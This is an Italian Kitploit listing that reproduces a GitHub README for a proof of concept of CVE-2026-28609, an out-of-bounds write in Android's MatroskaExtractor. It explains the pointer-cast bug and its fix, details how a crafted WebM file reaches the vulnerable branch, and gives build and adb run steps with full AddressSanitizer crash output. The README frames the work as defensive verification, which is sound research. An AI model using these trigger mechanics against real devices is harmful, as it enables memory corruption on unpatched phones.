Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-28609-matroska-pcm-oob — Proof-of-concept e harness di riproduzione strumentato per CVE-2026-28609, una scrittura fuori dai limiti in MatroskaExtractor di Android raggiungibile tramite un file WebM appositamente creato con una traccia audio PCM big-endian. | Kitploit
Strumenti/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Sicurezza AndroidMemory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringFuzzingSicurezza MobileBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

Proof-of-concept e harness di riproduzione strumentato per CVE-2026-28609, una scrittura fuori dai limiti in MatroskaExtractor di Android raggiungibile tramite un file WebM appositamente creato con una traccia audio PCM big-endian.

Vedi Repository
41 giorno faNon ancora revisionato

CVE-2026-28609 — Scrittura fuori limite in Matroska PCM

Proof-of-concept, harness di riproduzione strumentato e analisi tecnica per CVE-2026-28609, una scrittura fuori limite nel MatroskaExtractor di Android raggiungibile tramite un file WebM appositamente craftato con una traccia audio PCM big-endian.

In sintesi

  • CVE ID: CVE-2026-28609
  • Vendor: Google / Android
  • Componente: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • Problema: Scrittura fuori limite causata da un cast improprio
  • CWE: CWE-787 / CWE-704
  • Affetto: Android 14, 15, 16, 16 QPR2
  • Gravità: Alta
  • Impatto: Potenziale esecuzione di codice in remoto
  • Issue AOSP: A-485377744
  • Patch: Risolto nell'aggiornamento di sicurezza Android di settembre 2026

1. Riepilogo

MatroskaSource::read() nel MatroskaExtractor di Android contiene un ciclo di byte-swap PCM big-endian che effettua il cast di un puntatore ai dati del frame a uint16_t * prima di aggiungere frame->range_offset(), un offset in byte. Poiché l'aritmetica dei puntatori C su un uint16_t * scala l'offset di sizeof(uint16_t) = 2, il puntatore risultante si trova a 2 * range_offset byte dall'inizio del buffer, non a range_offset byte.

Quando range_offset > 0, il ciclo legge e scrive uno o più byte oltre la fine del MediaBuffer del frame. Su un dispositivo senza ASan la lettura in eccesso riesce silenziosamente e la scrittura in eccesso corrompe il byte immediatamente successivo al buffer.

La riga vulnerabile:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

La fix upstream effettua il cast del puntatore a uint8_t * prima di applicare l'offset:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. Cosa dimostra questo repository

Un trigger funzionante e riproducibile per CVE-2026-28609, verificato sotto AddressSanitizer su un dispositivo Android 14 reale. Il repository include:

  1. Un generatore Python che produce un file WebM che porta l'extractor nel branch vulnerabile con un range_offset diverso da zero.
  2. Un harness C-ABI che carica il plugin extractor tramite dlopen, invoca GETEXTRACTORDEF e legge i frame dal file.
  3. Un set di script di build che compilano una copia strumentata con ASan dell'extractor AOSP vulnerabile e la collegano alle librerie del media framework del dispositivo.
  4. Una configurazione di build con auto-discovery delle directory di include, così che la build si adatti a qualsiasi checkout AOSP.

Il risultato, su un dispositivo vulnerabile:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. Meccanica del trigger

Il branch vulnerabile richiede che tutte le seguenti condizioni siano vere:

Condizione

Le prime tre sono soddisfatte dichiarando la traccia con codec ID A_PCM/INT/BIG e bit depth 16. La quarta è quella interessante.

range_offset viene impostato a un valore diverso da zero solo in MatroskaSource::setWebmBlockCryptoInfo(), che viene chiamata da readBlock() alla condizione:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

Pertanto il file di trigger deve soddisfare:

  • mIsWebm — l'elemento EBML DocType deve essere "webm", non "matroska".
  • mEncrypted — la traccia deve dichiarare ContentEncodings con ContentEncodingType = 1 (Encryption) e un ContentEncKeyID.
  • Frame non cifrati — il primo byte di ogni frame deve essere un signal byte il cui bit basso (0x1) è 0, indicando che il frame è non cifrato ma content-encoded. Questo prende il branch else in setWebmBlockCryptoInfo, che chiama set_range(1, len - 1).

Dopo lo strip, range_offset = 1 per ogni frame. Il branch vulnerabile calcola quindi (uint16_t *)data + 1, che avanza di 2 byte, e il ciclo legge/scrive i byte [2, 2 + range_length) — un byte oltre la fine dell'allocazione di 65 byte (frame di 64 byte + signal di 1 byte).

Layout dei byte di un frame che attiva il trigger

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

Il signal byte 0x00 viene rimosso da set_range(1, 64), lasciando un frame di 64 byte all'interno di un'allocazione di 65 byte. L'aritmetica vulnerabile dei puntatori scrive quindi all'offset di byte da 2 a 65.


4. Struttura del repository

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

Dipendenze upstream, clonate dall'utente prima della build:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. Prerequisiti

  • Host: Linux o WSL2 con bash, python3, make
  • NDK: Android NDK r27+, impostato tramite $ANDROID_NDK_HOME
  • Dispositivo: Android 14, 15, 16 o 16-QPR2 con un security patch level precedente a settembre 2026
  • ADB: adb nel PATH (Linux, o adb.exe da WSL)
  • Disco: ~1.5 GB per i cloni AOSP

6. Build

6.1 Clonare le dipendenze upstream

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

Se il tuo albero AOSP usa il layout modulare dell'extractor (av/media/module/extractors/mkv/), non è necessaria alcuna ulteriore modifica. Se usa il layout più vecchio (av/media/libstagefright/matroska/), consulta gli script di build per la variabile MKV.

6.2 Estrarre le librerie dal dispositivo

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 Configurare

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

Imposta ANDROID_API in modo che corrisponda al tuo dispositivo target (ad esempio, 34 per Android 14).

6.4 Compilare ed eseguire

root@kitploit:~
./scripts/run.sh

Lo script run.sh esegue quattro passaggi in ordine:

  1. build_foundation.sh — compila 28 file sorgente da av/media/module/foundation/ e av/media/module/metadatautils/ in plugin-asan/libstagefright_foundation_asan.a.
  2. build_plugin.sh — compila MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc e li collega con l'archivio in libmkvextractor_asan.so.
  3. build_harness.sh — compila harness_c_abi con -shared-libsan.
  4. Copia il plugin, l'harness, il runtime ASan e poc.mkv in /data/local/tmp ed esegue l'harness.

Gli script di build individuano automaticamente le include root mancanti. Quando il compilatore segnala fatal error: 'X' file not found, lo script cerca negli alberi delle dipendenze, trova la directory padre di X e la aggiunge a include_dirs.conf. Questo è il motivo per cui include_dirs.conf cresce durante la prima build. Una volta che tutti gli header sono stati individuati, il file si stabilizza e le build successive sono deterministiche.


7. Output atteso

Su un dispositivo vulnerabile, l'harness produce:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

Tre numeri confermano il trigger:

  • WRITE of size 2 (o READ, quando ASan intercetta per primo la metà in lettura di data[i] = ntohs(data[i]))
  • 65-byte region — l'allocazione del frame è di 64 byte di dati più il signal di cifratura di 1 byte
  • 0 bytes after — l'accesso cade sul primo byte oltre l'allocazione

8. Cosa questo PoC non fa

  • Nessun RCE. Il trigger termina con il report di ASan. Dimostra la primitiva di scrittura ma non la trasforma in esecuzione di codice.
  • Nessun heap grooming. L'overflow di 1 byte è limitato dalla dimensione del signal di cifratura. Overflow più grandi richiederebbero il percorso di cifratura partizionata in setWebmBlockCryptoInfo (signal byte 0x03), che non è esercitato da questo generatore.
  • Nessuna persistenza. Nessun codice viene eseguito sul target oltre al processo dell'harness stesso, che viene eseguito e termina.
  • Nessuna modifica al sistema. Nulla al di fuori di /data/local/tmp viene toccato. Il plugin viene caricato solo dal processo dell'harness.

9. Verifica

Il generatore incorpora un verificatore. Eseguilo prima del push:

root@kitploit:~
python3 exploit/generator.py poc.mkv

Atteso:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

Ogni campo richiesto viene controllato: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo e ContentEncKeyID. Se un campo è errato, il generatore esce con FAIL e stampa la discrepanza specifica.


10. Cronologia

DataEvento
2026-03-02CVE riservata da Google
2026-09-08Divulgazione pubblica nell'Android Security Bulletin
2026-09-09Fix integrata in LineageOS lineage-20.0 (change 497992)

11. Riferimenti

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. Disclaimer

Questo repository è pubblicato strettamente per la ricerca di sicurezza difensiva e la verifica di vulnerabilità. È destinato a:

  • Ricercatori di sicurezza che validano la CVE sui propri dispositivi di test
  • Manutentori della piattaforma Android che confermano che una patch sia applicata
  • Incident responder che riproducono il trigger su hardware in quarantena per determinare l'esposizione

Non usare questo codice su dispositivi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta ai test. Eseguire l'harness su un dispositivo che non è tuo, o usare il generatore per produrre file di trigger da distribuire, può violare le leggi sull'abuso informatico nella tua giurisdizione e la Acceptable Use Policy di GitHub.

L'autore non approva l'uso di questa ricerca per scopi malevoli. Il file di trigger prodotto dal generatore è progettato per mandare in crash una funzione specifica sotto AddressSanitizer; non contiene un payload eseguibile, non modifica il sistema e non persiste oltre il processo dell'harness.

Nessuna garanzia è fornita. Il codice è fornito così com'è. L'autore non si assume alcuna responsabilità per danni causati da uso improprio o dall'esecuzione dell'harness su hardware di produzione.

Se sei un vendor e ritieni che questo repository contenga materiale che dovrebbe essere gestito in regime di coordinated disclosure, apri una issue e l'autore risponderà entro 72 ore.


13. Licenza

Questo progetto è rilasciato sotto licenza Apache-2.0. Vedi LICENSE per il testo completo.

Copyright © 2026 — i contributori del PoC CVE-2026-28609.

scripts/include_dirs.conf.sample

Rinomina questo file in include_dirs.conf dopo il clone. Questo è il seed. Gli script di build lo estendono durante la prima esecuzione.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

Rinomina in build.conf dopo il clone.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
Scarica lo strumento
Sorgente
La traccia è PCMmType == PCM
Big-endianAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
Campioni a 16 bitAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
Il frame ha range_offset diverso da zeroImpostato da set_range(offset, ...)
2026-09Questo PoC sviluppato e verificato su un dispositivo reale